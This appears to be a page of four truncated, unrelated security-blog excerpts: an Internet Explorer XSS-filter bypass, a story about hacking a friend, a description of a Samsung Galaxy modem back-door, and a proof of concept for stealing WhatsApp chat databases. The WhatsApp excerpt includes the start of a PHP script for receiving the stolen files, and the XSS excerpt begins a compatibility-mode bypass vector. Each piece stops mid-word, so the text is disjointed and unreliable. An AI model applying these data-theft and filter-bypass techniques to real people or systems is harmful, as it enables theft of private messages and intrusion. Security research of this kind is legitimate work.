White Hackers

The XSS filter introduced in IE8 is a really powerful defence against XSS. I tested the filter for a number of years and found various bypasses one of which I would like to share with you now. You can read more about the filter and its goal in the following  blog post . Scope There have been numerous public bypasses of the filter however very few within the intended scope of the filter. The filter blocks reflected XSS in HTML context, script, style and event context. It does not support attacks that use multiple parameters or same origin requests. Once you are aware of the intended scope the difficulty of bypassing the filter is very high. Function reassignment This bypass was fixed in later versions of Internet Explorer but still works in compatibility mode. You can use the vector in a penetration test by forcing the target site into compatibility mode using an iframe with an EmulateIE7 meta element as shown below. <meta http-equiv="X-UA-Compatible" content="IE=Emula

Some time ago a friend in infosec asked me to do a strange thing.  He asked me to hack him.  We will call him Bill, for the sake of anonymity.  Other names and places have been changed to protect the innocent.  Vendor names have been kept to incriminate the guilty. Hacking a large corporation is easy(ish).  They have information assets that may span the globe, and despite investments in various protection technologies, it's just hard to keep track of all that stuff.  It requires Zen-like discipline to rigorously follow the cycle of scan-patch-repeat day after day, on all assets in an organization, without fail. Hacking a person can be tough.  It's true that blackhats have the advantage in terms of the asymmetric nature of information security.  Sometimes it only takes one bug.  But the attack surface area of a single individual is quite small compared to a corporation.  In addition, most people trust large vendors with their information and the cloud vendors typically do a dece

This page contains a technical description of the back-door found in Samsung Galaxy devices. For a general description of the issue, please refer to the  statement published on the Free Software Foundation's website . This back-door is present in most proprietary Android systems running on the affected Samsung Galaxy devices, including the ones that are shipped with the devices. However, when Replicant is installed on the device, this back-door is not effective: Replicant does not cooperate with back-doors. Abstract Samsung Galaxy devices running proprietary Android versions come with a back-door that provides remote access to the data stored on the device. In particular, the proprietary software that is in charge of handling the communications with the modem, using the Samsung IPC protocol, implements a class of requests known as RFS commands, that allows the modem to perform remote I/O operations on the phone's storage. As the modem is running proprietary software, it is like

"Is it possible to upload and read the WhatsApp chats from another Android application?" With this question my  brother  and I started an interesting conversation which ended in underneath proof of concept. The tldr answer is: "Yes, that is possible". The  WhatsApp  database is saved on the SD card which can be read by any Android application if the user allows it to access the SD card. And since majority of the people allows everything on their Android device, this is not much of a problem. So what do we need to steal someones Whatsapp database? First we need a place to store the database. I used this  webserver  with a simple php script. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24   <?php // Upload script to upload Whatsapp database // This script is for testing purposes only.   $uploaddir = "/tmp/whatsapp/" ;   if ( $_FILES [ "file" ] [ "error" ] > 0 )    {    echo "Error: " . $_FILES [ &quo